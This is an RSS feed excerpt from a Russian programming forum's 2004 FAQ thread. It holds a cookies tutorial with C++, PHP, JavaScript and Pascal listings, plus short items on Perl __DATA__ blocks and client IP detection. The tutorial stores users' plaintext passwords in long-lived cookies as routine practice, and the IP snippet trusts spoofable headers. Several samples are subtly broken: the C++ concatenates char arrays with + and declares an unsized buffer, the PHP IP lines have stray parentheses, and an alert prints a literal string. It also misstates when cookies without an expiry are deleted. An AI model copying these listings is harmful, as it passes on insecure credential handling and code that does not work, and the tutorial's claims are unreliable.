<strong class='tag-b'>Листинг 2.3.3, Pascal (PSP):</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">{...}</div><div class="code_line">begin</div><div class="code_line">Web_SessionDestroy; // Сессии больше нет </div><div class="code_line">Web_Header;</div><div class="code_line">writeln(&#39;&#60;h1&#62;До свидания!&#60;/h1&#62;&#39;);</div><div class="code_line">{...}</div></ol></div></div></div></div>]]></description>
        <author>Trustmaster</author>
        <category>PHP</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=484106</guid>
        <pubDate>Fri, 15 Oct 2004 13:14:40 +0000</pubDate>
        <title>FAQ</title>
        <link>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=484106</link>
        <description><![CDATA[Trustmaster: <span class="tag-color tag-color-named" data-value="green" style="color: green"><span class='tag-size' data-value='14' style='font-size:14pt;'>Cookies, Sessions, Security</span><br>
<span class='tag-size' data-value='12' style='font-size:12pt;'>Все, что вы хотели бы знать об управлении пользовательскими сеансами.</span></span><br>
<br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue"><strong class='tag-b'>Авторы:</strong></span> <a class='tag-url' href='http://forum.sources.ru/index.php?showuser=3254' target='_blank'>Tishaishii</a> (сессии в Perl), <a class='tag-url' href='http://forum.sources.ru/index.php?showuser=11428' target='_blank'>Trustmaster</a> (все остальное).<br>
<br>
<strong class='tag-b'><em class='tag-i'>Вашему вниманию предоставляется статья об управлении пользовательскими сеансами, состоящая из трех частей. В ней мы постарались рассказать о всех сторонах использование сессий и cookies. Представлена как общая информация, так и для конкретных языков программирования.</em></strong><br>
<br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue"><span class='tag-size' data-value='13' style='font-size:13pt;'><strong class='tag-b'>1. Cookies.</strong></span></span><br>
<br>
Для слова cookies в данном констекте нет однозначного перевода. Кто-то называет их печеньями, кто-то плюшками, кто-то куками, а кто-то оставляет как есть. На самом деле, название cookie, присвоенное этой технологии программистами, которые стали ей пользоваться, пошло от жаргонного &quot;magic cookie&quot;, что переводится как &quot;магический сигнал&quot;. Так назывались сигналы, посылаемые друг другу параллельными процессами для синхронизации действий.<br>
<br>
В среде же веб-программирования cookies стали первым способом сохранения состояния. До этого скрипт не мог &quot;запомнить&quot; посетителя, или же приходилось каждый раз передавать целую кучу переменных состояния при помощи стандартных методов GET и POST. Разработанные Netscape, cookies позволили сохранять данные на стороне клиента, и броузер передавал их скрипту автоматически. Теперь cookies стали стандартом де-факто, и функции для работы с ними есть в каждом языке веб-программирования как на серверной, так и на клиентской стороне. Начнем со второй.<br>
<br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue"><span class='tag-size' data-value='11' style='font-size:11pt;'><strong class='tag-b'>1.1. Клиентская часть.</strong></span></span><br>
<br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue"><strong class='tag-b'>1.1.1. Протокол.</strong></span><br>
<br>
Каждый броузер имеет свои особенности в хранении cookies. Большинство хранят их в виде текстовых файлов в различных директориях. Но нас интересует то, как же броузер передает эти данные.<br>
<br>
Как мы знаем, в основе протокола HTTP лежит диалог между клиентом и вебсервером, заключающайся в запросах (Request) и ответах (Response). Для того, чтобы передать данные cookie скрипту, в запросе броузер отправляет следующий заголовок (request header):<br>
<div class='tag-quote'><span class='tag-quote-prefix'>Цитата</span> <div class='quote '>Cookie: name1=value1; name2=value2; name3=value3</div></div><br>
При этом имена и значения переменных, содержащие символы, отличные от букв латинского алфавита и знака подчеркивания, должны быть закодированы методом urlencode.<br>
<br>
Скажем, если бы мы писали HTTP клиент, то передать значения cookie серверу можно таким образом:<br>
<br>
<strong class='tag-b'>Листинг 1.1.1, C++ (MFC):</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">// Не важно, как мы прочитали из файла переменные name1, name2, value1, value2</div><div class="code_line">// Будем использовать класс CHttpBlockingSocket для соединения с сервером</div><div class="code_line">CHttpBlockingSocket client;</div><div class="code_line">// Строка запроса</div><div class="code_line">char request[] = &quot;GET /cgi-bin/cookie_test.cgi HTTP/1.0\r\n&quot;;</div><div class="code_line">// Заголовки запроса (request headers), обратите внимание на Cookie</div><div class="code_line">char headers[] = &quot;User-Agent: Cookie Tester/1.0.0\r\n&quot;</div><div class="code_line">&nbsp;&quot;Accept: */*\r\n&quot;</div><div class="code_line">&nbsp;&quot;Cookie: &quot; + name1 + &quot;=&quot; + value1 + &quot;; &quot; + name2+ &quot;=&quot; + value2 + &quot;\r\n&quot;</div><div class="code_line">&nbsp;&quot;\r\n&quot;;</div><div class="code_line">CSockAddr server_addr;</div><div class="code_line">// Создаем объект и соединяемся с сервером</div><div class="code_line">client.Create();</div><div class="code_line">server_addr = CBlockingSocket::GetHostByName(&quot;domain.com&quot;, 80);</div><div class="code_line">client.Connect(server_addr);</div><div class="code_line">// Передаем запрос и заголовки</div><div class="code_line">client.Write(request, strlen(request), 10);</div><div class="code_line">client.Write(headers, strlen(headers), 10);</div><div class="code_line">// Ответы сервера прочитаем в строковый буфер</div><div class="code_line">char buffer[];</div><div class="code_line">int bytes_read = 0;</div><div class="code_line">do</div><div class="code_line">{</div><div class="code_line">&nbsp;&nbsp; &nbsp;bytes_read = client.ReadHttpHeaderLine(buffer, 100, 10);</div><div class="code_line">}</div><div class="code_line">while(strcmp(buffer, &quot;\r\n&quot;));</div><div class="code_line">bytes_read = client.ReadHttpResponse(buffer, 100, 10);</div><div class="code_line">// Закрываем соединение</div><div class="code_line">client.Close();</div></ol></div></div></div></div><br>
<br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue"><strong class='tag-b'>1.1.2. Ограничения.</strong></span><br>
<br>
Со стороны броузера существуют определенные ограничения:<ul class="tag-list"><li> Клиент может получить и сохранить не более 300 плюшек.</li><li> Размер каждого печенья не должен превышать 4 КБ, при этом на пару &quot;имя и значение&quot; действует такой же ограничение. То есть, если размер имени и значения переменной достигает 4 КБ, то она &quot;займет&quot; все печенье.</li><li> Броузер хранит не более 20 печений с одного и того же домена.</li></ul><span class="tag-color tag-color-named" data-value="blue" style="color: blue"><span class='tag-size' data-value='11' style='font-size:11pt;'><strong class='tag-b'>1.2. Серверная часть.</strong></span></span><br>
<br>
Задача серверного скрипта заключается в создании, использовании и изменении печений. Ведь именно скриптом и для скрипта сохраняется сеанс. В этой главе мы сначала изучим протокол создания/изменения/удаления cookies, а потом узнаем, откуда скрипт их читает.<br>
<br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue"><strong class='tag-b'>1.2.1. Протокол работы с cookies.</strong></span><br>
<br>
Этот материал может показаться вам неинтересным, но зная его, вы легко сможете понять впоследствии что означает каждое слово. Итак, для создания cookie, как можно догадаться, используется специальный заголовок ответа (response header). Полный его синтаксис выглядит так:<br>
<div class='tag-quote'><span class='tag-quote-prefix'>Цитата</span> <div class='quote '>Set-Cookie: NAME=VALUE; expires=DATE; path=PATH; domain=DOMAIN_NAME; secure</div></div><br>
<br>
Разберем его по частям:<br>
<br>
<em class='tag-i'>NAME=VALUE</em> - это переменная и ее значение, которые мы задаем данным заголовком. Они должны быть закодированы методом urlencode. У вас, наверно, возник вопрос: &quot;А что же это за метод такой&quot;? Метод urlencode заключается в замене всех символов в строке, кроме латинского алфавита и знака подчеркивания, их эквивалентом в таблице ASCII в шестнадцатеричном представлении с приставкой &quot;%&quot; перед кодом. Исключение - пробел, он заменяется знаком &quot;+&quot;.<br>
<br>
<em class='tag-i'><strong class='tag-b'>expires</strong>=DATE</em> - задает время истечения срока годности данного cookie, когда он будет удален. Если этот параметр не задан, то cookie будет удален сразу после завершения выполнения этого скрипта. Формат даты следующий:<br>
<div class='tag-quote'><span class='tag-quote-prefix'>Цитата</span> <div class='quote '>Wdy, DD-Mon-YYYY HH:MM:SS GMT</div></div><br>
К примеру, можно задать дату заведомо в будущем, чтобы с этим cookie можно было спокойно работать:<br>
<div class='tag-quote'><span class='tag-quote-prefix'>Цитата</span> <div class='quote '>Mon, 01-Jan-2020 12:00:00 GMT</div></div><br>
<br>
<em class='tag-i'><strong class='tag-b'>path</strong>=PATH</em> - задает путь на сервере, скрипты из которого имеют доступ к данной плюшке. Чаще всего, задают корневую директорию вебсервера, то есть &quot;path=/;&quot;. Но можно, например, задать папку cgi-bin или особенный путь:<br>
<div class='tag-quote'><span class='tag-quote-prefix'>Цитата</span> <div class='quote '>Set-Cookie: pass=secret; expires=Mon, 01-Jan-2020 12:00:00 GMT; path=/secret/top_secret; domain=secret.domain.com</div></div><br>
<br>
<em class='tag-i'><strong class='tag-b'>domain</strong>=DOMAIN_NAME</em> - задает доменное имя, скрипты с которого имеют доступ  к данному печенью. Если параметр не задан, то домен может быть любым.<br>
<br>
<em class='tag-i'><strong class='tag-b'>secure</strong></em> - этот флаг сообщает, что данное печенье может быть использовано только при работе по безопасному протоколу HTTPS.<br>
<br>
Для того, чтобы задать несколько переменных, нужно послать несколько заголовков Set-Cookie:<br>
<div class='tag-quote'><span class='tag-quote-prefix'>Цитата</span> <div class='quote '>Set-Cookie: foo=some_value; expires=Mon, 01-Jan-2020 12:00:00 GMT; path=/<br>
Set-Cookie: bar=another_value; expires=Mon, 01-Jan-2020 12:00:00 GMT; path=/</div></div><br>
<br>
Для того, чтобы изменить значение переменной, вы посылаете новый заголовок с именем этой переменной и ее новым значением. Если значение expires поставить в прошлом, то переменная будет удалена:<br>
<div class='tag-quote'><span class='tag-quote-prefix'>Цитата</span> <div class='quote '>Set-Cookie: foo=; expires=Mon, 01-Jan-2000 12:00:00 GMT; path=/</div></div><br>
<br>
Имейте ввиду, что для изменения/удаления cookies параметры path и domain имеют большое значение: скажем, если вы зададите две переменные с одним именем, но для разных путей, то это будут совсем разные переменные. Поэтому при удалении придется использовать те же параметры.<br>
<br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue"><strong class='tag-b'>1.2.2. Откуда скрипт берет данные.</strong></span><br>
<br>
Когда броузер посылает серверу заголовок запроса, то обращение происходит не напрямую к скрипту. Как же тогда он получает данные? Вебсервер создает специальную переменную окружения, в которой он сохраняет данные плюшки в том виде, в каком он их получил (var1=value1; var2=value2 и т.д.). Мы можем прочитать эту переменную при помощи соответствующей функции. В качестве примера, напишем функцию на PHP, которая будет возвращать массив, содержащий данные cookie (фактически, мы напишем замену стандартному механизму PHP, сохраняющему эти данные в переменной &#036;_COOKIE).<br>
<br>
<strong class='tag-b'>Листинг 1.2.2, PHP:</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&#60;?php</div><div class="code_line">// Эта функция считывает cookies в массив</div><div class="code_line">function dump_cookie()</div><div class="code_line">{</div><div class="code_line">&nbsp;&nbsp; &nbsp;// Создаем временную переменную</div><div class="code_line">&nbsp;&nbsp; &nbsp;$result = Array();</div><div class="code_line">&nbsp;&nbsp; &nbsp;// Копируем содержимое переменной окружения в строку</div><div class="code_line">&nbsp;&nbsp; &nbsp;$content = getenv(&#39;HTTP_COOKIE&#39;);</div><div class="code_line">&nbsp;&nbsp; &nbsp;// Парсинг строки в цикле</div><div class="code_line">&nbsp;&nbsp; &nbsp;$temp = &#39;&#39;;</div><div class="code_line">&nbsp;&nbsp; &nbsp;$key = &#39;&#39;;</div><div class="code_line">&nbsp;&nbsp; &nbsp;$i = 0;</div><div class="code_line">&nbsp;&nbsp; &nbsp;while($i &#60; strlen($content))</div><div class="code_line">&nbsp;&nbsp; &nbsp;{</div><div class="code_line">&nbsp; if($content[$i] == &#39;=&#39;)</div><div class="code_line">&nbsp; {</div><div class="code_line">&nbsp;  $key = urldecode($temp);</div><div class="code_line">&nbsp;  $temp = &#39;&#39;;</div><div class="code_line">&nbsp; }</div><div class="code_line">&nbsp; elseif($content[$i] == &#39;;&#39;)</div><div class="code_line">&nbsp; {</div><div class="code_line">&nbsp;  $result[$key] = urldecode($temp);</div><div class="code_line">&nbsp;  $temp = &#39;&#39;;</div><div class="code_line">&nbsp;  // После точки с запятой идет пробел!</div><div class="code_line">&nbsp;  $i++;</div><div class="code_line">&nbsp; }</div><div class="code_line">&nbsp; else $temp .= $content[$i];</div><div class="code_line">&nbsp; $i++;</div><div class="code_line">&nbsp;&nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp;// Последнюю пару значений заполняем &quot;вручную&quot;</div><div class="code_line">&nbsp;&nbsp; &nbsp;if(!empty($key)) $result[$key] = urldecode($temp);</div><div class="code_line">&nbsp;&nbsp; &nbsp;// Готово</div><div class="code_line">&nbsp;&nbsp; &nbsp;return $result;</div><div class="code_line">}</div><div class="code_line">&nbsp;</div><div class="code_line">// Сохраняем cookies в переменной</div><div class="code_line">$my_cookies = dump_cookie();</div><div class="code_line">// Смотрим, что же нам передали</div><div class="code_line">echo &#39;&#60;pre&#62;&#39;;</div><div class="code_line">print_r($my_cookies);</div><div class="code_line">echo &#39;&#60;/pre&#62;&#39;;</div><div class="code_line">?&#62;</div></ol></div></div></div></div><br>
<br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue"><span class='tag-size' data-value='11' style='font-size:11pt;'><strong class='tag-b'>1.3. С миру по плюшке&#33;</strong></span></span><br>
<br>
Теперь, когда вы знаете протокол от и до, самое время разобраться с тем, как же можно работать cookies на различных языках/технологиях веб-программирования.<br>
<br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue"><strong class='tag-b'>1.3.1. JavaScript.</strong></span><br>
<br>
На JavaScript получить доступ к cookies со стороны броузера можно при помощи свойства cookie объекта document.<br>
<br>
Вы можете прочитать все печенья, заданные для данной страницы, из переменной document.cookie. Простейший способ это сделать:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">alert(&#39;document.cookie&#39;);</div></ol></div></div></div></div><br>
<br>
В результате мы получим в новом окне переменные и их значения в закодированном (urlencode) виде, разделенные точкой с запятой (как и в заголовке запроса). Тот же результат, кстати, можно получить просто зайдя на нужную страницу и введя в строке адреса<br>
<div class='tag-quote'><span class='tag-quote-prefix'>Цитата</span> <div class='quote '>javascript: alert(document.cookie)</div></div><br>
<br>
Вы можете также изменять текущие cookies документа. Следующий код добавит новую пару переменных в плюшку и перезагрузит страницу.<br>
<br>
<strong class='tag-b'>Листинг 1.3.1.1, JavaScript:</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">document.cookie += &#39;; foo=bar&#39;;</div><div class="code_line">location = &#39;/cgi-bin/cookie_test.cgi&#39;;</div></ol></div></div></div></div><br>
<br>
Такого рода изменения оказывают влияние только на текущую страницу, не сохраняя измененные данные в файле cookie на жестком диске пользователя.  Но это еще не все. JavaScript может записывать cookie таким же образом, как это делают серверные скрипты: то есть создавать, изменять и удалять cookies на жеском диске пользователя. Для этого нужно присвоить document.cookie новое значение, используя протокол Cookie Response Header. В качестве примера создадим cookie, который устареет через месяц. В параметре expires используется время в формате UNIX.<br>
<br>
<strong class='tag-b'>Листинг 1.3.1.2, JavaScript:</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">var expr = new Date();</div><div class="code_line">var inAWeek = expr.getTime() + (1000 * 3600 * 24 * 30);</div><div class="code_line">expr.setTime(inAWeek);</div><div class="code_line">document.cookie = &#39;var_name=some_value; expires=&#39; + expr.toGMTString();</div></ol></div></div></div></div><br>
<br>
По аналогии, для изменения этого cookie нам потребуется вызвать тот же код, но с новым значением переменной, или же задать значение expires в прошлом, если мы хотим удалить переменную.<br>
<br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue"><strong class='tag-b'>1.3.2. PHP.</strong></span><br>
<br>
PHP автоматически получает все cookies, декодирует их, и сохраняет в суперглобальном (доступном в любой области видимости) ассоциативном массиве &#036;_COOKIE, где индекс массива - имя переменной, а значения элемента, соответственно, равно значению этой переменной. Также если в php.ini включена директива register_globals, то PHP создаст глобальные переменные, эквивалентные полученным плюшкам.<br>
<br>
Допустим, скрипту нужно прочитать из плюшки имя пользователя, пароль и идентификатор и передать их некой функции login().<br>
<br>
<strong class='tag-b'>Листинг 1.3.2.1, PHP:</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">// Если register_globals = On, то эти строчки можно удалить</div><div class="code_line">$id = $_COOKIE[&#39;id&#39;];</div><div class="code_line">$name = $_COOKIE[&#39;name&#39;];</div><div class="code_line">$password = $_COOKIE[&#39;password&#39;];</div><div class="code_line">// Конец кода для register_globals = Off.</div><div class="code_line">// Теперь над этими переменными можно произвести какие-то действия</div><div class="code_line">$user = login($id, $name, $password);</div></ol></div></div></div></div><br>
<br>
Конечно, этот пример можно было бы написать в одну строчку, но этот вариант яснее. Еще имейте ввиду, что массив &#036;_COOKIE доступен только для чтения, так что если вы хотите изменять значения полученных переменных, то придется скопировать их в обычные переменные (как сделано в этом примере).<br>
<br>
Для записи/изменения/удаления cookies в PHP имеется одна единственная функция setcookie(). Ее прототип выглядит так:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">int setcookie(string name [, string value [, int expire [, string path [, string domain [, int secure]]]]]);</div></ol></div></div></div></div><br>
Фактически, эта функция обабатывает имя и значение (name, value) функцией urlencode(), переводит expire в нужный формат и отсылает заголовок ответа (response header) аналогично функции header(). С аргументами name и value все ясно, а вот expire принимает время истечения срока годности данного cookie в формате UNIX (целое число). path и domain указывают путь на сервере и доменной имя (см. гл. 1.2.1), а в secure передается единица, если используется исключительно протокол HTTPS.<br>
<br>
К примеру, у нас есть идентификатор, логин и пароль пользователя, которые мы хотим сохранить в плюшке сроком на месяц.<br>
<br>
<strong class='tag-b'>Листинг 1.3.2.2, PHP:</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">$expr = time() + (3600 * 24 * 30);</div><div class="code_line">setcookie(&#39;id&#39;, $id, $expr);</div><div class="code_line">setcookie(&#39;name&#39;, $name, $expr);</div><div class="code_line">setcookie(&#39;password&#39;, $password, $expr);</div></ol></div></div></div></div><br>
<br>
Для того, чтобы удалить эти переменные, нам понадобится следующий код:<br>
<br>
<strong class='tag-b'>Листинг 1.3.2.3, PHP:</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">setcookie(&#39;id&#39;, &#39;&#39;, time() - 60);</div><div class="code_line">setcookie(&#39;name&#39;, &#39;&#39;, time() - 60);</div><div class="code_line">setcookie(&#39;password&#39;, &#39;&#39;, time() - 60);</div></ol></div></div></div></div><br>
<br>
Имейте ввиду, что вызовы функций header() и setcookie() ВСЕГДА ДОЛЖНЫ ИДТИ ДО ВЫВОДА, то есть вызовов print, echo и любой функции, которая затрагивает стандартный поток вывода. Ошибка &quot;headers already sent&quot; возникает именно по той причине, что мы пытаемся задать cookie (или же послать другой заголовок) после того, как заголовки уже посланы и PHP ожидает содержимое документа.<br>
<br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue"><strong class='tag-b'>1.3.3. Pascal Server Pages.</strong></span><br>
<br>
PSP принимает все переменные cookies автоматически и сохраняет их так же, как и любые CGI переменные. Получить к ним доступ можно, например, так:<br>
<br>
<strong class='tag-b'>Листинг 1.3.3.1, Pascal (PSP):</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">{$H+}{$MODE OBJFPC}</div><div class="code_line">program cookie_test;</div><div class="code_line">{ ... код ... }</div><div class="code_line">var login, password: string;</div><div class="code_line">&nbsp;   id: longint;</div><div class="code_line">{ ... код ... }</div><div class="code_line">begin</div><div class="code_line">&nbsp;   login := Web_GetVar(&#39;login&#39;);</div><div class="code_line">&nbsp;   password := Web_GetVar(&#39;password&#39;);</div><div class="code_line">&nbsp;   id := longint(Web_GetVar(&#39;id&#39;));</div><div class="code_line">&nbsp;   { ... код ... }</div><div class="code_line">end.</div></ol></div></div></div></div><br>
<br>
У PSP есть одно досадное ограничение, унаследованное от FPC модуля dos: суммарная длина всех cookies (имена и значения в закодированном виде) ограничена 256 символами. Поэтому множество переменных хранить в плюшках не получится (для этого, в общем-то, существуют сессии, см. гл. 2).<br>
<br>
Для PSP действует все то же правило: функции для работы с cookies должны вызываться до начала вывода, а точнее - до вызова Web_Header().<br>
<br>
Чтобы задать плюшку нужно использовать одну из перегруженных функций Web_SetCookie(), вот их прототипы:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">procedure Web_SetCookie(name, value: string);</div><div class="code_line">procedure Web_SetCookie(name, value, path, domain, expires: string);</div></ol></div></div></div></div><br>
Первая функция создаст новую плюшку с именем переменной name и значением value (url-кодирование вызывается автоматически), параметры expires и path задаются по умолчанию (1 января 2020 и /cgi-bin соответственно). Второй вариант используется если вам нужно установить конкретные значения дополнительных параметров. К примеру, зададим пару печений.<br>
<br>
<strong class='tag-b'>Листинг 1.3.3.2, Pascal (PSP)</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">{$H+}{$MODE OBJFPC}</div><div class="code_line">program cookies;</div><div class="code_line">uses web;</div><div class="code_line">&nbsp;</div><div class="code_line">begin</div><div class="code_line">&nbsp;   Web_SetCookie(&#39;foo&#39;, &#39;Почему бы не по-русски?&#39;);</div><div class="code_line">&nbsp;   Web_SetCookie(&#39;bar&#39;, &#39;Custom values...&#39;, &#39;/cgi-bin/secret&#39;, &#39;secret.domain&#39;, &#39;Sat, 02-Oct-2004 22:00:00 GMT&#39;);</div><div class="code_line">&nbsp;   Web_Header(); // Теперь пойдет содержимое страницы</div><div class="code_line">&nbsp;   writeln(&#39;&#60;h1&#62;Cookies are set!&#60;/h1&#62;&#39;);</div><div class="code_line">end.</div></ol></div></div></div></div><br>
<br>
Для удаления cookies имеется также 2 варианта функции Web_DeleteCookie(). Их прототипы:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">procedure Web_DeleteCookie(name: string);</div><div class="code_line">procedure Web_DeleteCookie(name, path, domain: string);</div></ol></div></div></div></div><br>
Первый вариант удаляет переменную с заданным именем. Но если нужная переменная была задана с определенным параметром path и domain, то нужно воспользоваться вторым вариантом этой функции с теми же значениями пути и имени домена. Удалим плюшки, созданные в листинге 1.3.3.2.<br>
<br>
<strong class='tag-b'>Листинг 1.3.3.3, Pascal (PSP):</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">{$H+}{$MODE OBJFPC}</div><div class="code_line">program cookies;</div><div class="code_line">uses web;</div><div class="code_line">&nbsp;</div><div class="code_line">begin</div><div class="code_line">&nbsp;   Web_DeleteCookie(&#39;foo&#39;);</div><div class="code_line">&nbsp;   Web_DeleteCookie(&#39;bar&#39;, &#39;/cgi-bin/secret&#39;, &#39;secret.domain&#39;);</div><div class="code_line">&nbsp;   Web_Header(); // Теперь пойдет содержимое страницы</div><div class="code_line">&nbsp;   writeln(&#39;&#60;h1&#62;Cookies are removed!&#60;/h1&#62;&#39;);</div><div class="code_line">end.</div></ol></div></div></div></div>]]></description>
        <author>Trustmaster</author>
        <category>PHP</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=472476</guid>
        <pubDate>Fri, 01 Oct 2004 11:51:00 +0000</pubDate>
        <title>FAQ</title>
        <link>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=472476</link>
        <description><![CDATA[Tishaishii: <span class="tag-color tag-color-named" data-value="green" style="color: green"><span class='tag-size' data-value='13' style='font-size:13pt;'>Как записать большой текстовый блок в программу на Perl?</span><br>
<br>
...а потом ещё и прочитать его?</span><br>
<br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue"><strong class='tag-b'>Автор:</strong> <a class='tag-url' href='http://forum.sources.ru/index.php?showuser=3254' target='_blank'>Tishaishii</a></span><br>
<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">package Текущий_Пакет;</div><div class="code_line">#...............................</div><div class="code_line">&nbsp;</div><div class="code_line">print while &#60;Текущий_Пакет::DATA&#62;;</div><div class="code_line">#или</div><div class="code_line">open DATA, &#39;&#60;&amp;Текущий_Пакет::DATA&#39;;</div><div class="code_line"># копирование ссылки на &quot;Текущий_Пакет::DATA&quot; через функцию &quot;open&quot;</div><div class="code_line">&nbsp;&nbsp; print while &#60;DATA&#62;;</div><div class="code_line">close DATA;</div><div class="code_line">#...............................</div><div class="code_line">+1;</div><div class="code_line">&nbsp;</div><div class="code_line">#конец программы</div><div class="code_line">__DATA__</div><div class="code_line">Вот тут можно написать </div><div class="code_line">&nbsp;&nbsp; &nbsp;много всякого-разного и засунуть сюда</div><div class="code_line">&nbsp;&nbsp; огромный текстовый блок</div></ol></div></div></div></div>]]></description>
        <author>Tishaishii</author>
        <category>PHP</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=449806</guid>
        <pubDate>Fri, 03 Sep 2004 17:27:21 +0000</pubDate>
        <title>FAQ</title>
        <link>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=449806</link>
        <description><![CDATA[Mastilior: <span class='tag-size' data-value='13' style='font-size:13pt;'><span class="tag-color tag-color-named" data-value="green" style="color: green">Как определить IP-адрес клиента?</span></span><br>
<br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue">Автор: <a class='tag-url' href='http://forum.sources.ru/index.php?showuser=9113' target='_blank'>Mastilior</a> и <a class='tag-url' href='http://forum.sources.ru/index.php?showuser=4039' target='_blank'>Budda</a></span><br>
<br>
<strong class='tag-b'>PHP</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">$ip = $_SERVER[&quot;HTTP_CLIENT_IP&quot;];</div><div class="code_line">if (empty($ip)) $ip = $_SERVER[&quot;HTTP_X_FORWARDED_FOR&quot;]);</div><div class="code_line">if (empty($ip)) $ip = $_SERVER[&quot;REMOTE_ADDR&quot;]);</div></ol></div></div></div></div><br>
<br>
<strong class='tag-b'>Perl</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">my $IPAddr1 = $ENV{&#39;HTTP_CLIENT_IP&#39;};</div><div class="code_line">if ($IPAddr1 eq &quot;&quot;) { $IPAddr1 = $ENV{&#39;REMOTE_ADDR&#39;}; }</div><div class="code_line">&nbsp;</div><div class="code_line">my $IPAddr2 = &quot;&quot;;</div><div class="code_line">if ($ENV{&#39;HTTP_X_FORWARDED_FOR&#39;})</div><div class="code_line">&nbsp;{</div><div class="code_line">&nbsp;$IPAddr2 = $IPAddr1;</div><div class="code_line">&nbsp;$IPAddr1 = $ENV{&#39;HTTP_X_FORWARDED_FOR&#39;};</div><div class="code_line">&nbsp;}</div></ol></div></div></div></div><br>
<br>
<strong class='tag-b'>JavaScript (серверный&#33;)</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">var ip = ssjs_getCGIVariable(&quot;REMOTEADDR&quot;);</div><div class="code_line">write(ip);</div></ol></div></div></div></div><br>
<br>
<strong class='tag-b'>JavaScript (клиентский)</strong><br>
<span class="tag-color tag-color-named" data-value="red" style="color: red">Невозможно&#33;</span> Клиентский JavaScript - это язык скриптов, которые выполняются на машине пользователя.]]></description>
        <author>Mastilior</author>
        <category>PHP</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=445771</guid>
        <pubDate>Mon, 30 Aug 2004 19:26:11 +0000</pubDate>
        <title>FAQ</title>
        <link>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=445771</link>
        <description><![CDATA[Tishaishii: <strong class='tag-b'>Не описанные особенности из предыдущей статьи</strong><br>
<br>
